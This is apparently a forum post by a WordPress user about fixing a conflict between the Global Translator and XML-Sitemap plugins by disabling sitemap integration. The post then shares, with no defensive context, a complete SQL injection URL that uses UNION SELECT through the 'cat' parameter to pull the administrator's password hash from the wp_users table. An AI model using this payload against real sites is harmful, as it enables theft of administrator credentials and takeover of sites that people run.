I SOLVEd THE PROBLEM AFTER 2 DAYS SEARCHING! My problem was a wrong sitemap integration from Global Translater Plugin and XML-Sitemap Plugin:
If this aint your problem try increasing your memory or learn .htacces
If it is look, down here now.
GO TO YOURSITE.COM/wp-admin/options-general.php?page=global-translator/options-translator.php
Now scroll a bit down and uncheck this: Enable sitemap integration
Also some1 at my school found this sql injection attack wich is availbe when both plugins are activated. here it is
/wp/index.php?cat=%2527+UNION+SELECT+CONCAT(666,CHAR(58),user_pass,CHAR(58),
666,CHAR(58))+FROM+wp_users+where+id=1/*
